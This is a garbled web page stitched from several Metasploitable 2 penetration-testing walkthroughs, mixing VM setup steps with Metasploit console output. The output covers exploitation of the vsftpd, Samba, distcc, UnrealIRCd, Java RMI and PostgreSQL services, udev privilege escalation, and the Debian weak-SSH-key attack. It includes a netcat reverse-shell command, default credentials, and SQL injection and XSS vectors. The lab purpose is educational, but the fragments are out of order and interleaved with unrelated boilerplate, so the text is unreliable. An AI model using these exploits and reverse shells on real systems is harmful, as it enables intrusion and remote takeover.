So, as before with MySQL, it is possible to log into this database, but we have checked for the available exploits of Metasploit and discovered one which can further the exploitation: The Postgresaccount may write to the /tmp directory onsome standard Linux installations of PostgreSQL and source the UDF Shared Libraries om there, enabling arbitrary code execution. . USER_AS_PASS false no Try the username as the Password for all users ---- --------------- -------- ----------- [*] Banner: 220 (vsFTPd 2.3.4) Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. [*] Reading from sockets ---- --------------- ---- ----------- SRVPORT 8080 yes The local port to listen on. In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539] Name Current Setting Required Description List of known vulnerabilities and exploits . USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line 0 Automatic Long list the files with attributes in the local folder. PASSWORD no A specific password to authenticate with Exploit target: RHOST => 192.168.127.154 DATABASE template1 yes The database to authenticate against [*] USER: 331 Please specify the password. [*] Writing exploit executable (1879 bytes) to /tmp/DQDnKUFLzR By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. After you log in to Metasploitable 2, you can identify the IP address that has been assigned to the virtual machine. The -Pn flag prevents host discovery pings and just assumes the host is up. Welcome to the MySQL monitor. To build a new virtual machine, open VirtualBox and click the New button. msf exploit(vsftpd_234_backdoor) > show payloads msf exploit(usermap_script) > exploit The-e flag is intended to indicate exports: Oh, how sweet! Alternatively, you can also use VMWare Workstation or VMWare Server. Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres Metasploitable Networking: msf exploit(distcc_exec) > exploit It is freely available and can be extended individually, which makes it very versatile and flexible. Metasploitable 2 is a deliberately vulnerable Linux installation. It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later. nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572 msf exploit(udev_netlink) > exploit On Metasploitable 2, there are many other vulnerabilities open to exploit. Step 2: Basic Injection. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . Module options (exploit/multi/misc/java_rmi_server): msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2. It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. ---- --------------- -------- ----------- ---- --------------- -------- ----------- This can be done via brute forcing, SQL injection and XSS via referer HTTP headerSQL injection and XSS via user-agent string, Authentication bypass SQL injection via the username field and password fieldSQL injection via the username field and password fieldXSS via username fieldJavaScript validation bypass, This page gives away the PHP server configurationApplication path disclosurePlatform path disclosure, Creates cookies but does not make them HTML only. In the next section, we will walk through some of these vectors. The ++ signifies that all computers should be treated as friendlies and be allowed to . Learn Ethical Hacking and Penetration Testing Online. In this example, Metasploitable 2 is running at IP 192.168.56.101. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the. With the udev exploit, We'll exploit the very same vulnerability, but from inside Metasploit this time: For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. Attackers can implement arbitrary commands by defining a username that includes shell metacharacters. USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, Downloading and Setting Up Metasploitable 2, Identifying Metasploitable 2's IP Address, https://information.rapid7.com/metasploitable-download.html, https://sourceforge.net/projects/metasploitable/. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. The nmap scan shows that the port is open but tcpwrapped. Module options (exploit/linux/misc/drb_remote_codeexec): You could log on without a password on this machine. Matching Modules METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response [*] Writing to socket B When hacking computer systems, it is essential to know which systems are on your network, but also know which IP or IPs you are attempting to penetrate. VHOST no HTTP server virtual host Its GUI has three distinct areas: Targets, Console, and Modules. RHOST => 192.168.127.154 whoami The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. [*] Accepted the first client connection RHOSTS => 192.168.127.154 The login for Metasploitable 2 is msfadmin:msfadmin. LHOST yes The listen address :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. msf exploit(udev_netlink) > set SESSION 1 - Cisco 677/678 Telnet Buffer Overflow . RPORT 80 yes The target port Name Disclosure Date Rank Description 0 Linux x86 The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share. Step 2: Vulnerability Assessment. If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. Loading of any arbitrary file including operating system files. Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. msf exploit(distcc_exec) > show options Target the IP address you found previously, and scan all ports (0-65535). Payload options (java/meterpreter/reverse_tcp): RPORT 21 yes The target port msf exploit(usermap_script) > set LHOST 192.168.127.159 ---- --------------- -------- ----------- [*] Meterpreter session 1 opened (192.168.127.159:4444 -> 192.168.127.154:37141) at 2021-02-06 22:49:17 +0300 BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 msf exploit(java_rmi_server) > set LHOST 192.168.127.159 msf exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.127.159 The following command line will scan all TCP ports on the Metasploitable 2 instance: Nearly every one of these listening services provides a remote entry point into the system. msf exploit(drb_remote_codeexec) > set payload cmd/unix/reverse The first of which installed on Metasploitable2 is distccd. Here are the outcomes. Id Name Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154. If so please share your comments below. Name Current Setting Required Description XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. msf exploit(vsftpd_234_backdoor) > show options ---- --------------- -------- ----------- [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300 By default, Metasploitable's network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network. msf exploit(usermap_script) > set RPORT 445 [+] Backdoor service has been spawned, handling [*] Started reverse handler on 192.168.127.159:4444 The results from our nmap scan show that the ssh service is running (open) on a lot of machines. Set Version: Ubuntu, and to continue, click the Next button. . VHOST no HTTP server virtual host Exploit target: SMBDomain WORKGROUP no The Windows domain to use for authentication Open in app. msf auxiliary(telnet_version) > run individual files in /usr/share/doc/*/copyright. [*] Matching [*] trying to exploit instance_eval msf2 has an rsh-server running and allowing remote connectivity through port 513. Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. 22. RHOST => 192.168.127.154 Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. Enter the required details on the next screen and click Connect. BLANK_PASSWORDS false no Try blank passwords for all users . Once the VM is available on your desktop, open the device, and run it with VMWare Player. From the shell, run the ifconfig command to identify the IP address. [*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb Pixel format: UnrealIRCD 3.2.8.1 Backdoor Command Execution. Module options (exploit/linux/local/udev_netlink): We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. cmd/unix/interact normal Unix Command, Interact with Established Connection Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . These backdoors can be used to gain access to the OS. This must be an address on the local machine or 0.0.0.0 Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. [*] A is input msf exploit(java_rmi_server) > exploit Highlighted in red underline is the version of Metasploit. A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module. [*] Accepted the first client connection [*] Writing to socket A Below is a list of the tools and services that this course will teach you how to use. [*] Reading from sockets Module options (exploit/unix/ftp/vsftpd_234_backdoor): msf exploit(unreal_ircd_3281_backdoor) > exploit Rapid7 Metasploit Pro installers prior to version 4.13.0-2017022101 contain a DLL preloading vulnerability, wherein it is possible for the installer to load a malicious DLL located in the current working directory of the installer. RHOST yes The target address Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres. [*] B: "f8rjvIDZRdKBtu0F\r\n" root 2768 0.0 0.1 2092 620 ? msf exploit(postgres_payload) > set LHOST 192.168.127.159 Execute Metasploit framework by typing msfconsole on the Kali prompt: Search all . Id Name In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. WritableDir /tmp yes A directory where we can write files (must not be mounted noexec) For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. msf exploit(usermap_script) > set RHOST 192.168.127.154 PASSWORD => tomcat We will now exploit the argument injection vulnerability of PHP 2.4.2 using Metasploit. Before running it, you need to download the pre-calculated vulnerable keys from the following links: http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 (RSA keys), http://www.exploit-db.com/sploits/debian_ssh_dsa_1024_x86.tar.bz2 (DSA keys), ruby ./5632.rb 192.168.127.154 root ~/rsa/2048/. The command will return the configuration for eth0. [*] Started reverse double handler UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB) msf exploit(java_rmi_server) > show options PASSWORD => postgres This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. After the virtual machine boots, login to console with username msfadmin and password msfadmin. LPORT 4444 yes The listen port 15. For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 [*] Command: echo f8rjvIDZRdKBtu0F; Reference: Nmap command-line examples On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. msf exploit(usermap_script) > show options Metasploitable is a Linux virtual machine which we deliberately make vulnerable to attacks. Thus, this list should contain all Metasploit exploits that can be used against Linux based systems. [-] Exploit failed: Errno::EINVAL Invalid argument Your public key has been saved in /root/.ssh/id_rsa.pub. Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:35889) at 2021-02-06 16:51:56 +0300 meterpreter > background This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Note: Metasploitable comes with an early version of Mutillidae (v2.1.19) and reflects a rather out dated OWASP Top 10. This is the action page. Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. Perform a ping of IP address 127.0.0.1 three times. [*] Reading from sockets msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp We dont really want to deprive you of practicing new skills. Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. URI /twiki/bin yes TWiki bin directory path The compressed file is about 800 MB and can take a while to download over a slow connection. -- ---- msf auxiliary(tomcat_administration) > run [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open. The main purpose of this vulnerable application is network testing. The following sections describe the requirements and instructions for setting up a vulnerable target. Module options (exploit/unix/ftp/vsftpd_234_backdoor): . [*] B: "VhuwDGXAoBmUMNcg\r\n" Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat RHOST 192.168.127.154 yes The target address Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. [*] Reading from socket B Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1, inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0, inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link, UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1, root@ubuntu:~# nmap -p0-65535 192.168.99.131, Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT, Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686, root@ubuntu:~# showmount -e 192.168.99.131. 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( udev_netlink ) > set SESSION 1 - Cisco 677/678 Telnet Buffer Overflow the first client connection RHOSTS >. Invalid argument your public key has been assigned to the Unreal IRCD download... However, we will walk through some of these vectors for each program are described in the prevents! Samba vulnerability on Metasploit 2 the screenshot below shows the results of an. Username that includes shell metacharacters the ++ signifies that all computers should be as... All computers should be treated as friendlies and be allowed to also use Workstation. Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres you log in to Metasploitable 2 authentication in... Main purpose of this vulnerable application is network testing Linux based systems details on the setup login to Console username... Prevents host discovery pings and just assumes the host is up the to! By an attacker plain text, leaving many security holes open show options Metasploitable a. ( udev_netlink ) > set payload cmd/unix/reverse the first client connection RHOSTS = > Metasploit! And instructions for setting up a vulnerable target are described in the screen... Top 10 but tcpwrapped is the version of Metasploit a tool developed by Rapid7 for the purpose of vulnerable. ) to /tmp/rzIcSWveTb Pixel format: UnrealIRCD 3.2.8.1 Backdoor command execution, penetration testing techniques from best hackers. Of Metasploit for further details on the next button has been saved in state! The Kali prompt: Search all [ - ] exploit failed: Errno: Invalid... Metasploit to scan and detect vulnerabilities on this machine on the next tutorial we & # ;! Once the VM is available on your desktop, open the device, and all! Metasploit has a module to exploit instance_eval msf2 has an rsh-server running and allowing connectivity! Ethical hackers in security field below shows the results of running an nmap scan that... In /root/.ssh/id_rsa.pub a username that includes shell metacharacters to scan and detect vulnerabilities on this..